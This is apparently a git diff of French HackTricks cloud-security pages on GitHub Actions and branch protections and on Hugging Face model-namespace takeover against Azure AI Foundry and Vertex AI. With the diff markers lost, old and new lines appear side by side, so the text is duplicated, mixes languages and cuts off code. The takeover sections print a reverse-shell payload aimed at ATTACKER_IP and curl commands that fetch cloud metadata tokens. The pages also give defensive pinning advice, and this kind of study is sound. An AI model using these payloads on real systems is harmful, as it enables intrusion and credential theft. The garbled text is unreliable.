- Ne créez pas un GitHub App si vous souhaitez _only_ agir en tant qu'utilisateur GitHub et faire tout ce que cet utilisateur peut faire.
- Si vous utilisez votre app avec GitHub Actions et que vous souhaitez modifier des fichiers de workflow, vous devez vous authentifier au nom de l'utilisateur avec un OAuth token qui inclut le scope `workflow`. L'utilisateur doit avoir la permission admin ou write sur le repository contenant le fichier workflow. Pour plus d'informations, voir "Understanding scopes for OAuth apps".
- **More** ici : [https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
Ce **n'est pas un moyen d'authentification sur github**, mais une **Github Action malveillante** pourrait obtenir **un accès non autorisé à github** et, **selon** les **privilèges** donnés à l'Action, plusieurs **attaques différentes** pourraient être effectuées. Voir cidessous pour plus d'informations.
Ce **n'est pas une méthode d'authentification dans github**, mais une action malveillante via GitHub Action pourrait obtenir un **unauthorised access to github** et, **depending** des **privileges** donnés à l'Action, plusieurs **different attacks** pourraient être menées. Voir ci-dessous pour plus d'informations.
## Git Actions
Git actions permet d'automatiser **l'exécution de code quand un événement se produit**. Habituellement, le code exécuté est **d'une manière ou d'une autre lié au code du repository** (par exemple construire un container docker ou vérifier que la PR ne contient pas de secrets).
Git actions permettent d'automatiser l'**exécution de code when an event happen**. Habituellement le code exécuté est **somehow related to the code of the repository** (par exemple construire un container docker ou vérifier que le PR ne contient pas de secrets).
### Configuration
Dans _https://github.com/organizations/\<org_name>/settings/actions_ il est possible de vérifier la **configuration des github actions** pour l'organisation.
Dans _https://github.com/organizations/\<org_name>/settings/actions_ il est possible de vérifier la **configuration of the github actions** pour l'organisation.
Il est possible d'interdire complètement l'utilisation des github actions, **autoriser toutes les github actions**, ou n'autoriser que certaines actions.
Il est possible d'interdire complètement l'utilisation des github actions, **allow all github actions**, ou n'autoriser que certaines actions.
Il est également possible de configurer **qui doit obtenir une approbation pour exécuter une Github Action** et les **permissions du GITHUB_TOKEN** d'une Github Action lorsqu'elle est exécutée.
Il est aussi possible de configurer **who needs approval to run a Github Action** et les **permissions of the GITHUB_TOKEN** d'une Github Action lors de son exécution.
### Git Secrets
Les Github Actions ont généralement besoin de secrets pour interagir avec github ou des applications tierces. Pour **éviter de les mettre en clair** dans le repo, GitHub permet de les stocker comme **Secrets**.
Les Github Action ont généralement besoin de secrets pour interagir avec GitHub ou des applications tierces. Pour **éviter de les mettre en clair** dans le repo, GitHub permet de les stocker comme **Secrets**.
Ces secrets peuvent être configurés **pour le repo ou pour toute l'organization**. Ensuite, pour que l'**Action puisse accéder au secret** vous devez le déclarer comme :
Ces secrets peuvent être configurés **pour le repo ou pour toute l'organisation**. Ensuite, pour que l'**Action puisse accéder au secret** vous devez le déclarer comme :
```yaml
steps:
- name: Hello world action
@@ -168,92 +168,93 @@ run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
> Secrets **can only be accessed from the Github Actions** qui les ont déclarés.
> Les secrets **ne peuvent être accédés que depuis les Github Actions** qui les ont déclarés.
>
> Une fois configurés dans le repo ou dans les organizations, **les utilisateurs de github ne pourront plus y accéder**, ils pourront seulement les **modifier**.
> Une fois configurés dans le repo ou dans les organizations, **users of github ne pourront plus y accéder**, ils pourront seulement les **modifier**.
Par conséquent, la **seule façon de voler des github secrets est d'avoir accès à la machine qui exécute la Github Action** (dans ce scénario vous ne pourrez accéder qu'aux secrets déclarés pour l'Action).
Par conséquent, la **seule façon de voler des secrets github est d'accéder à la machine qui exécute la Github Action** (dans ce scénario vous ne pourrez accéder qu'aux secrets déclarés pour l'Action).
### Git Environments
Github permet de créer des **environments** où vous pouvez sauvegarder des **secrets**. Ensuite, vous pouvez donner à la github action l'accès aux secrets à l'intérieur de l'environment avec quelque chose comme :
Github permet de créer des **environments** où vous pouvez stocker des **secrets**. Ensuite, vous pouvez donner à la github action l'accès aux secrets contenus dans l'environment avec quelque chose comme :
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
```
Vous pouvez configurer un environment pour qu'il soit **accessed** par **all branches** (par défaut), **only protected** branches ou **specify** quelles branches peuvent y accéder.\
Vous pouvez configurer un environnement pour qu'il soit **accessible** par **toutes les branches** (par défaut), **seulement les branches protégées** ou **spécifier** quelles branches peuvent y accéder.\
De plus, les protections d'environnement incluent :
- **Required reviewers** : bloquer les jobs visant l'environnement jusqu'à approbation. Activez **Prevent self-review** pour appliquer un véritable principe des quatreyeux sur l'approbation ellemême.
- **Deployment branches and tags** : restreindre quelles branches/tags peuvent déployer vers l'environnement. Préférez sélectionner des branches/tags spécifiques et assurez-vous que ces branches sont protégées. Note : l'option "Protected branches only" s'applique aux protections de branche classiques et peut ne pas se comporter comme prévu si vous utilisez des rulesets.
- **Wait timer** : retarder les déploiements pendant une période configurable.
- **Examinateurs requis** : bloquent les jobs ciblant l'environnement jusqu'à approbation. Activez **Prevent self-review** pour appliquer un véritable principe des quatreyeux sur l'approbation ellemême.
- **Branches et tags de déploiement** : restreindre quelles branches/tags peuvent déployer vers l'environnement. Préférez sélectionner des branches/tags spécifiques et assurezvous que ces branches sont protégées. Remarque : l'option "Protected branches only" s'applique aux protections classiques de branches et peut ne pas se comporter comme prévu si vous utilisez des rulesets.
- **Temporisateur d'attente** : retarder les déploiements pendant une période configurable.
Il est aussi possible de définir un **nombre d'examens requis** avant **d'exécuter** une **action** utilisant un **environnement**, ou d'**attendre** un certain **temps** avant d'autoriser les déploiements à continuer.
### GitHub Action Runner
Il est également possible de définir un **nombre d'approbations requis** avant **d'exécuter** une **action** utilisant un **environment** ou **d'attendre** un certain **temps** avant d'autoriser la poursuite des déploiements.
Une GitHub Action peut être **exécutée à l'intérieur de l'environnement GitHub** ou peut être exécutée sur une **infrastructure tierce** configurée par l'utilisateur.
### Git Action Runner
Certaines organisations autorisent l'exécution de GitHub Actions sur une **infrastructure tierce** car cela était souvent **moins coûteux**.
Une Github Action peut être **exécutée à l'intérieur de l'environnement github** ou peut être exécutée dans une **infrastructure tierce** configurée par l'utilisateur.
Vous pouvez **lister les runners auto-hébergés** d'une organisation dans _https://github.com/organizations/\<org_name>/settings/actions/runners_
Plusieurs organisations autorisent l'exécution des Github Actions dans une **infrastructure tierce** car cela a tendance à être **moins cher**.
La façon de trouver quelles GitHub Actions sont exécutées sur une infrastructure non-GitHub est de rechercher `runs-on: self-hosted` dans le YAML de configuration de la GitHub Action.
Vous pouvez **lister les runners self-hosted** d'une organisation sur _https://github.com/organizations/\<org_name>/settings/actions/runners_
Il n'est pas possible d'exécuter une GitHub Action d'une organisation dans une machine self-hosted d'une autre organisation parce qu'un jeton unique est généré pour le Runner lors de sa configuration afin d'identifier l'appartenance du runner.
La façon de trouver quelles **Github Actions sont exécutées dans une infrastructure nongithub** est de rechercher `runs-on: self-hosted` dans le YAML de configuration de la Github Action.
Si le Runner GitHub personnalisé est configuré sur une machine dans AWS ou GCP par exemple, l'Action pourrait avoir accès à l'endpoint metadata et voler le token du service account avec lequel la machine s'exécute.
Il **n'est pas possible d'exécuter une Github Action d'une organisation à l'intérieur d'une machine self-hosted** d'une autre organisation parce qu'**un token unique est généré pour le Runner** lors de sa configuration pour indiquer à quelle organisation il appartient.
### Compromission d'une GitHub Action
Si le **Github Runner personnalisé est configuré sur une machine dans AWS ou GCP** par exemple, l'Action **pourrait avoir accès à l'endpoint metadata** et **voler le token du service account** avec lequel la machine s'exécute.
Si toutes les actions (ou une action malveillante) sont autorisées, un utilisateur pourrait utiliser une GitHub Action malveillante et compromettre le container où elle s'exécute.
### Git Action Compromise
Si toutes les actions (ou une action malveillante) sont autorisées, un utilisateur pourrait utiliser une **Github Action** **malveillante** qui **compromettrait** le **container** où elle est exécutée.
> [!CAUTION]
> Une **GitHub Action malveillante** pourrait être **abusée** par un attaquant pour :
> Un **run de Github Action malveillant** pourrait être **abusé** par un attaquant pour :
>
> - **Voler tous les secrets** auxquels l'Action a accès
> - **Se déplacer latéralement** si l'Action est exécutée dans une **infrastructure tierce** où le token SA utilisé pour exécuter la machine peut être accessible (probablement via le service metadata)
> - **Se déplacer latéralement** si l'Action est exécutée dans une **infrastructure tierce** où le token SA utilisé pour exécuter la machine est accessible (probablement via le service metadata)
> - **Abuser du token** utilisé par le **workflow** pour **voler le code du repo** où l'Action est exécutée ou **même le modifier**.
## Protections de branches
## Branch Protections
Les protections de branches sont conçues pour **ne pas donner le contrôle complet d'un repository** aux utilisateurs. L'objectif est de **mettre en place plusieurs méthodes de protection avant de pouvoir écrire du code dans une branche**.
Les branch protections sont conçues pour **ne pas donner le contrôle complet d'un repository** aux utilisateurs. L'objectif est de **mettre en place plusieurs méthodes de protection avant de pouvoir écrire du code dans une branche**.
Les **branch protections d'un repository** se trouvent dans _https://github.com/\<orgname>/\<reponame>/settings/branches_
Les **branch protections d'un repository** se trouvent sur _https://github.com/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> Il n'est **pas possible de définir une protection de branche au niveau de l'organisation**. Elles doivent donc toutes être déclarées sur chaque repo.
> Il **n'est pas possible de définir une branch protection au niveau de l'organisation**. Elles doivent donc toutes être déclarées sur chaque repo.
Différentes protections peuvent être appliquées à une branche (par exemple master) :
Différentes protections peuvent être appliquées à une branche (comme master) :
- Vous pouvez **exiger une PR avant de merger** (ainsi vous ne pouvez pas merger directement du code dans la branche). Si cela est sélectionné, d'autres protections peuvent être en place :
- **Require a number of approvals**. Il est très courant d'exiger 1 ou 2 personnes supplémentaires pour approuver votre PR afin qu'un seul utilisateur ne puisse pas merger le code directement.
- **Dismiss approvals when new commits are pushed**. Sinon, un utilisateur pourrait approuver un code légitime puis ajouter du code malveillant et merger.
- **Require approval of the most recent reviewable push**. Garantit que tout nouveau commit après une approbation (y compris des pushes par d'autres collaborateurs) re-déclenche la revue, empêchant un attaquant d'ajouter des modifications postapprobation et de merger.
- **Require reviews from Code Owners**. Au moins 1 code owner du repo doit approuver la PR (ainsi des utilisateurs "aléatoires" ne peuvent pas approuver).
- **Restrict who can dismiss pull request reviews.** Vous pouvez préciser des personnes ou des équipes autorisées à rejeter des reviews.
- **Allow specified actors to bypass pull request requirements**. Ces utilisateurs pourront contourner les restrictions précédentes.
- **Require status checks to pass before merging.** Certains checks doivent réussir avant de pouvoir merger le commit (comme une GitHub App rapportant des résultats SAST). Astuce : liez les checks requis à une GitHub App spécifique ; sinon n'importe quelle app pourrait usurper le check via la Checks API, et beaucoup de bots acceptent des directives d'ignorance (par ex., "@bot-name skip").
- **Require conversation resolution before merging**. Tous les commentaires sur le code doivent être résolus avant que la PR puisse être mergée.
- **Require signed commits**. Les commits doivent être signés.
- **Require linear history.** Empêche les merge commits d'être poussés vers les branches correspondantes.
- **Include administrators**. Si ceci n'est pas activé, les admins peuvent contourner les restrictions.
- **Restrict who can push to matching branches**. Restreindre qui peut envoyer un PR.
- Vous pouvez **exiger une PR avant de merger** (ainsi vous ne pouvez pas fusionner du code directement dans la branche). Si ceci est sélectionné, d'autres protections peuvent être en place :
- **Exiger un nombre d'approbations**. Il est très courant d'exiger 1 ou 2 personnes supplémentaires pour approuver votre PR afin qu'un seul utilisateur ne puisse pas merger du code directement.
- **Annuler les approbations quand de nouveaux commits sont poussés**. Sinon, un utilisateur peut approuver du code légitime puis ajouter du code malveillant et merger.
- **Exiger l'approbation du push revue le plus récent**. Garantit que tout nouveau commit après une approbation (y compris les pushes par d'autres collaborateurs) déclenche une nouvelle revue afin qu'un attaquant ne puisse pas pousser des modifications postapprobation et merger.
- **Exiger des revues des Code Owners**. Au moins 1 code owner du repo doit approuver la PR (ainsi des utilisateurs "aléatoires" ne peuvent pas approuver).
- **Restreindre qui peut annuler les revues de pull request.** Vous pouvez spécifier des personnes ou équipes autorisées à annuler les revues.
- **Autoriser certains acteurs à contourner les exigences de pull request.** Ces utilisateurs pourront bypasser les restrictions précédentes.
- **Exiger que des checks de statut passent avant de merger.** Certains checks doivent réussir avant de pouvoir merger le commit (comme une GitHub App rapportant des résultats SAST). Astuce : liez les checks requis à une GitHub App spécifique ; sinon n'importe quelle app pourrait usurper le check via la Checks API, et beaucoup de bots acceptent des directives de skip (ex. "@bot-name skip").
- **Exiger la résolution des conversations avant de merger.** Tous les commentaires sur le code doivent être résolus avant que la PR puisse être mergée.
- **Exiger des commits signés.** Les commits doivent être signés.
- **Exiger un historique linéaire.** Empêche les merge commits d'être poussés vers les branches correspondantes.
- **Inclure les administrateurs.** Si cela n'est pas activé, les admins peuvent contourner les restrictions.
- **Restreindre qui peut pusher sur les branches correspondantes.** Restreindre qui peut envoyer une PR.
> [!NOTE]
> Comme vous pouvez le voir, même si vous parvenez à obtenir des identifiants d'un utilisateur, les repos peuvent être protégés, vous empêchant par exemple de pousser du code sur master pour compromettre le pipeline CI/CD.
> Comme vous pouvez le voir, même si vous parvenez à obtenir les identifiants d'un utilisateur, **les repos peuvent être protégés et vous empêcher de pousser du code sur master** par exemple pour compromettre le pipeline CI/CD.
## Protections de tags
## Tag Protections
Les tags (comme latest, stable) sont modifiables par défaut. Pour appliquer un flux à quatreyeux sur les mises à jour de tags, protégez les tags et enchaînez les protections via environnements et branches :
Les tags (comme latest, stable) sont mutables par défaut. Pour appliquer un flux à quatreyeux sur les mises à jour de tags, protégez les tags et chaînez les protections via les environments et les branches :
1) Dans la règle de protection de tag, activez **Require deployments to succeed** et exigez un déploiement réussi vers un environnement protégé (par ex., prod).
2) Dans l'environnement ciblé, restreignez **Deployment branches and tags** à la branche de release (par ex., main) et configurez éventuellement **Required reviewers** avec **Prevent self-review**.
3) Sur la branche de release, configurez les protections de branche pour **Require a pull request**, définissez les approvals ≥ 1, et activez à la fois **Dismiss approvals when new commits are pushed** et **Require approval of the most recent reviewable push**.
1) Sur la règle de protection des tags, activez **Require deployments to succeed** et exigez un déploiement réussi vers un environment protégé (ex. prod).
2) Dans l'environnement cible, restreignez **Deployment branches and tags** à la branche de release (ex. main) et configurez éventuellement **Required reviewers** avec **Prevent self-review**.
3) Sur la branche de release, configurez les protections de branche pour **Require a pull request**, définissez approvals ≥ 1, et activez à la fois **Dismiss approvals when new commits are pushed** et **Require approval of the most recent reviewable push**.
Cette chaîne empêche un seul collaborateur de retagger ou de forcer la publication de releases en éditant le workflow YAML, puisque les gates de déploiement sont appliqués en dehors des workflows.
Cette chaîne empêche un seul collaborateur de retagger ou de forcer la publication de releases en modifiant le YAML du workflow, puisque les gates de déploiement sont appliqués en dehors des workflows.
## Références
## References
- [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
- [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)

View File

@@ -1,4 +1,4 @@
# Az - Post-exploitation
# Az - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,15 +4,15 @@
## Scénario
- Le Model Catalog d'Azure AI Foundry inclut de nombreux modèles Hugging Face (HF) pour un déploiement en un clic.
- Les identifiants de modèle HF sont Author/ModelName. Si un auteur/org HF est supprimé, n'importe qui peut ré-enregistrer cet author et publier un modèle avec le même ModelName au legacy path.
- Les pipelines et catalogs qui récupèrent le modèle uniquement par nom (pas de commit pinning/integrity) résoudront vers des repos contrôlés par un attaquant. Quand Azure déploie le modèle, le loader code peut s'exécuter dans l'endpoint environment, accordant RCE avec les permissions de cet endpoint.
- Azure AI Foundry Model Catalog inclut de nombreux modèles Hugging Face (HF) pour un déploiement en un clic.
- Les identifiants de modèle HF sont Author/ModelName. Si un author/org HF est supprimé, n'importe qui peut se réenregistrer sous ce nom d'auteur et publier un modèle avec le même ModelName au legacy path.
- Les pipelines et catalogs qui récupèrent uniquement par nom (sans commit pinning/integrity) résoudront vers des repos contrôlés par l'attaquant. Quand Azure déploie le modèle, le code du loader peut s'exécuter dans l'environnement de l'endpoint, offrant une RCE avec les permissions de cet endpoint.
Cas courants de takeover HF :
- Ownership deletion : Old path 404 until takeover.
- Ownership transfer : Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attackers repo serves at the legacy path.
- Ownership deletion : ancien chemin 404 jusqu'au takeover.
- Ownership transfer : ancien chemin 307 vers le nouvel author tant que l'ancien author existe. Si l'ancien author est ensuite supprimé et réenregistré, le redirect casse et le repo de l'attaquant sert au legacy path.
## Identification des namespaces réutilisables (HF)
## Identifier des namespaces réutilisables (HF)
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
@@ -23,12 +23,12 @@ curl -I https://huggingface.co/<Author>/<ModelName>
```
## Flux d'attaque de bout en bout contre Azure AI Foundry
1) Dans le Model Catalog, trouvez des modèles HF dont les auteurs originaux ont été supprimés ou transférés (old author removed) sur HF.
1) Dans le Model Catalog, trouvez des HF models dont les auteurs originaux ont été supprimés ou transférés (ancien auteur retiré) sur HF.
2) Réenregistrez l'auteur abandonné sur HF et recréez le ModelName.
3) Publiez un repo malveillant contenant du loader code qui s'exécute lors de l'import ou nécessite trust_remote_code=True.
4) Déployez le legacy Author/ModelName depuis Azure AI Foundry. La plateforme récupère le repo de l'attaquant ; le loader s'exécute à l'intérieur du container/VM de l'endpoint Azure, conduisant à une RCE avec les permissions de l'endpoint.
3) Publiez un repo malveillant contenant du loader code qui s'exécute à l'import ou nécessite trust_remote_code=True.
4) Déployez le legacy Author/ModelName depuis Azure AI Foundry. La plateforme récupère le repo de l'attaquant ; le loader s'exécute à l'intérieur du container/VM de l'endpoint Azure, entraînant une RCE avec les permissions de l'endpoint.
Exemple de payload fragment exécuté lors de l'import (à titre de démonstration uniquement) :
Exemple de fragment de payload exécuté à l'import (pour démonstration seulement) :
```python
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
@@ -46,41 +46,41 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Remarques
- Les déploiements AI Foundry qui intègrent HF clonent généralement et importent des modules de repo référencés par la config du modèle (p. ex., auto_map), ce qui peut déclencher l'exécution de code. Certains chemins nécessitent trust_remote_code=True.
- L'accès correspond généralement aux permissions de managed identity/service principal de l'endpoint. Considérez-le comme un initial access foothold pour l'accès aux données et le mouvement latéral au sein d'Azure.
- Les déploiements AI Foundry qui intègrent HF clonent et importent typiquement des modules de repo référencés par la config du modèle (par ex., auto_map), ce qui peut déclencher l'exécution de code. Certains chemins exigent trust_remote_code=True.
- L'accès correspond généralement aux permissions de managed identity/service principal de l'endpoint. Considérez-le comme un point d'appui d'accès initial pour l'accès aux données et les mouvements latéraux au sein d'Azure.
## Post-Exploitation Tips (Azure Endpoint)
## Conseils post-exploitation (Azure Endpoint)
- Enumérez les variables d'environnement et les endpoints MSI à la recherche de tokens:
- Énumérez les variables d'environnement et les MSI endpoints pour récupérer des tokens:
```bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
- Vérifiez le stockage monté, les artefacts de modèle et les services Azure accessibles avec le jeton acquis.
- Envisagez une persistance en laissant des artefacts de modèle empoisonnés si la plateforme récupère à nouveau depuis HF.
- Vérifier le stockage monté, les artefacts de modèle et les services Azure accessibles avec le token acquis.
- Envisager la persistence en laissant des poisoned model artifacts si la plateforme re-pulls depuis HF.
## Recommandations défensives pour les utilisateurs d'Azure AI Foundry
## Conseils défensifs pour les utilisateurs d'Azure AI Foundry
- Épingler les modèles par commit lors du chargement depuis HF:
- Épingler les modèles à un commit lors du chargement depuis HF:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Répliquer les modèles HF vérifiés dans un registre interne de confiance et déployer depuis celui-ci.
- Scanner en continu les codebases et defaults/docstrings/notebooks pour des Author/ModelName codés en dur qui sont supprimés/transférés ; mettre à jour ou fixer.
- Répliquer les modèles HF vérifiés dans un registre interne de confiance et déployer à partir de celui-ci.
- Scanner en continu les codebases et les defaults/docstrings/notebooks à la recherche d'Author/ModelName codés en dur qui ont été supprimés/transférés ; les mettre à jour ou les pin.
- Valider l'existence de l'auteur et la provenance du modèle avant le déploiement.
## Heuristiques de reconnaissance (HTTP)
- Auteur supprimé : la page de l'auteur 404 ; chemin legacy du modèle 404 jusqu'à une prise de contrôle.
- Modèle transféré : chemin legacy 307 vers le nouvel auteur pendant que l'ancien auteur existe ; si l'ancien auteur est ensuite supprimé et réenregistré, le chemin legacy renverra du contenu de l'attaquant.
- Auteur supprimé : author page 404 ; legacy model path 404 jusqu'au takeover.
- Modèle transféré : legacy path 307 vers un nouvel auteur tant que l'ancien auteur existe ; si l'ancien auteur est ensuite supprimé et réenregistré, legacy path sert du contenu d'attaquant.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Références croisées
- Voir la méthodologie plus large et les notes sur la supply-chain :
- Voir la méthodologie plus large et les notes sur la chaîne d'approvisionnement :
{{#ref}}
../../pentesting-cloud-methodology.md

View File

@@ -5,19 +5,19 @@
## Scénario
- Vertex AI Model Garden permet le déploiement direct de nombreux modèles Hugging Face (HF).
- Les identifiants de modèles HF sont Author/ModelName. Si un author/org sur HF est supprimé, le même nom d'auteur peut être ré-enregistré par n'importe qui. Les attaquants peuvent alors créer un repo avec le même ModelName au chemin hérité.
- Des pipelines, SDKs, ou catalogues cloud qui récupèrent uniquement par nom (pas de pinning/intégrité) vont récupérer le repo contrôlé par l'attaquant. Quand le modèle est déployé, le code de loader de ce repo peut s'exécuter à l'intérieur du conteneur du endpoint Vertex AI, donnant une RCE avec les permissions de l'endpoint.
- HF model identifiers are Author/ModelName. Si un auteur/org sur HF est supprimé, le même nom d'auteur peut être réenregistré par n'importe qui. Les attaquants peuvent alors créer un repo avec le même ModelName au legacy path.
- Pipelines, SDKs, or cloud catalogs qui récupèrent uniquement par nom (no pinning/integrity) vont tirer le repo contrôlé par l'attaquant. Quand le modèle est déployé, le loader code de ce repo peut s'exécuter à l'intérieur du conteneur de l'endpoint Vertex AI, aboutissant à une RCE avec les permissions de l'endpoint.
Deux cas courants de takeover sur HF :
- Suppression du propriétaire : l'ancien chemin renvoie 404 jusqu'à ce que quelqu'un ré-enregistre l'auteur et publie le même ModelName.
- Transfert de propriété : HF émet des redirections 307 de l'ancien Author/ModelName vers le nouvel author. Si l'ancien author est ensuite supprimé et ré-enregistré par un attaquant, la chaîne de redirection est rompue et le repo de l'attaquant répond au chemin hérité.
Two common takeover cases on HF:
- Ownership deletion: Old path 404 until someone re-registers the author and publishes the same ModelName.
- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attackers repo serves at the legacy path.
## Identification des namespaces réutilisables (HF)
## Identifier des namespaces réutilisables (HF)
- Ancien author supprimé : la page de l'author renvoie 404 ; le chemin du modèle peut renvoyer 404 jusqu'au takeover.
- Modèles transférés : l'ancien chemin du modèle émet 307 vers le nouveau propriétaire tant que l'ancien author existe. Si l'ancien author est ensuite supprimé et ré-enregistré, le chemin hérité résoudra vers le repo de l'attaquant.
- Old author deleted : la page de l'auteur renvoie 404 ; le model path peut renvoyer 404 jusqu'au takeover.
- Transferred models : l'ancien model path renvoie 307 vers le nouveau owner tant que l'ancien auteur existe. Si l'ancien auteur est ensuite supprimé et ré-enregistré, le legacy path résoudra vers le repo de l'attaquant.
Vérifications rapides avec curl:
Quick checks with curl:
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
@@ -30,22 +30,22 @@ curl -I https://huggingface.co/<Author>/<ModelName>
```
## Flux d'attaque de bout en bout contre Vertex AI
1) Découvrir des espaces de noms de modèles réutilisables que Model Garden indique comme déployables :
1) Découvrir des espaces de noms de modèles réutilisables que Model Garden répertorie comme déployables :
- Trouver des modèles HF dans Vertex AI Model Garden qui apparaissent encore comme “verified deployable”.
- Vérifier sur HF si l'Author original a été supprimé ou si le modèle a été transféré et que l'ancien Author a ensuite été supprimé.
- Vérifier sur HF si l'auteur original a été supprimé ou si le modèle a été transféré et que l'ancien auteur a ensuite été retiré.
2) Réenregistrer l'author supprimé sur HF et recréer le même ModelName.
2) Réenregistrer l'auteur supprimé sur HF et recréer le même ModelName.
3) Publier un repo malveillant. Inclure du code qui s'exécute au chargement du modèle. Exemples qui s'exécutent couramment lors du chargement d'un modèle HF :
- Effets de bord dans __init__.py du repo
- Fichiers modeling_*.py personnalisés ou code de processing référencé par config/auto_map
- Chemins de code nécessitant trust_remote_code=True dans les pipelines Transformers
- Fichiers modeling_*.py personnalisés ou code de traitement référencé par config/auto_map
- Chemins de code qui nécessitent trust_remote_code=True dans les pipelines Transformers
4) Un déploiement Vertex AI du Author/ModelName hérité récupère maintenant le repo de l'attaquant. Le loader s'exécute à l'intérieur du container de l'endpoint Vertex AI.
4) Un déploiement Vertex AI de l'ancien Author/ModelName récupère maintenant le repo de l'attaquant. Le loader s'exécute à l'intérieur du conteneur d'endpoint Vertex AI.
5) Le payload établit un accès depuis l'environnement de l'endpoint (RCE) avec les permissions de l'endpoint.
Exemple de fragment de payload exécuté à l'import (à titre de démonstration uniquement):
Exemple de fragment de payload exécuté à l'import (à titre démonstratif uniquement) :
```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Remarques
- Les loaders en conditions réelles varient. De nombreuses intégrations Vertex AI HF clonent et importent des modules de repo référencés par la config du modèle (par ex., auto_map), ce qui peut déclencher l'exécution de code. Certaines utilisations nécessitent trust_remote_code=True.
- L'endpoint s'exécute généralement dans un conteneur dédié avec un périmètre limité, mais il constitue un point d'appui initial valable pour l'accès aux données et les mouvements latéraux dans GCP.
- Les loaders en conditions réelles varient. De nombreuses intégrations Vertex AI HF clonent et importent des modules de repo référencés par la config du modèle (par ex., auto_map), ce qui peut déclencher l'exécution de code. Certaines utilisations exigent trust_remote_code=True.
- L'endpoint s'exécute typiquement dans un container dédié avec un périmètre limité, mais il constitue un point d'appui initial valable pour l'accès aux données et le lateral movement dans GCP.
## Conseils post-exploitation (Vertex AI Endpoint)
## Conseils de post-exploitation (Vertex AI Endpoint)
Une fois le code exécuté dans le conteneur de l'endpoint, envisagez :
- Énumérer les variables d'environnement et les métadonnées à la recherche d'identifiants/tokens
- Accéder au stockage attaché ou aux artefacts de modèle montés
- Interagir avec les API Google via l'identité du compte de service (Document AI, Storage, Pub/Sub, etc.)
- Persistance dans l'artefact du modèle si la plateforme retélécharge le repo
Une fois le code en cours d'exécution dans le container de l'endpoint, envisagez :
- Énumérer les variables d'environnement et les metadata pour credentials/tokens
- Accéder au stockage attaché ou aux artefacts du modèle montés
- Interagir avec les Google APIs via l'identité du service account (Document AI, Storage, Pub/Sub, etc.)
- Persistance dans l'artefact du modèle si la plateforme re-télécharge le repo
Énumérer les métadonnées de l'instance si accessibles (dépend du conteneur) :
Énumérer les metadata de l'instance si accessibles (dépend du container) :
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Conseils défensifs pour les utilisateurs de Vertex AI
- Épingler les modèles par commit dans les HF loaders pour empêcher le remplacement silencieux :
- Épingler les modèles par commit dans HF loaders pour empêcher un remplacement silencieux :
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Mettre en miroir les HF models vérifiés dans un dépôt/registry d'artefacts interne de confiance et déployer depuis celui-ci.
- Scanner en continu les codebases et configs à la recherche d'Author/ModelName codés en dur qui sont supprimés/transférés ; mettre à jour vers les nouveaux namespaces ou épingler par commit.
- Répliquer les modèles HF vérifiés dans un registre interne d'artefacts de confiance et déployer à partir de là.
- Scanner en continu les codebases et les configs à la recherche d'Author/ModelName codés en dur qui sont supprimés/transférés ; mettre à jour vers les nouveaux namespaces ou pin par commit.
- Dans Model Garden, vérifier la provenance du modèle et l'existence de l'auteur avant le déploiement.
## Heuristiques de reconnaissance (HTTP)
- Auteur supprimé : page de l'auteur 404 ; chemin legacy du modèle 404 jusqu'à la prise de contrôle.
- Modèle transféré : chemin legacy 307 vers le nouvel auteur pendant que l'ancien auteur existe ; si l'ancien auteur est ensuite supprimé puis ré-enregistré, le chemin legacy sert du contenu malveillant de l'attaquant.
- Auteur supprimé : page de l'auteur 404 ; legacy model path 404 until takeover.
- Modèle transféré : legacy path 307 vers le nouvel auteur alors que l'ancien auteur existe ; si l'ancien auteur est ensuite supprimé et ré-enregistré, legacy path sert du contenu de l'attaquant.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Références croisées
- Voir la méthodologie plus large et les notes sur la chaîne d'approvisionnement :
- Voir la méthodologie générale et les notes sur la chaîne d'approvisionnement :
{{#ref}}
../../pentesting-cloud-methodology.md

View File

@@ -6,39 +6,39 @@
## Méthodologie de base
Chaque cloud a ses particularités mais en général il y a quelques **choses communes qu'un pentester devrait vérifier** lorsqu'il teste un environnement cloud :
Chaque cloud a ses propres particularités mais, en général, il y a quelques **choses communes qu'un pentester devrait vérifier** lorsqu'il teste un environnement cloud :
- **Benchmark checks**
- **Vérifications de benchmark**
- Cela vous aidera à **comprendre la taille** de l'environnement et les **services utilisés**
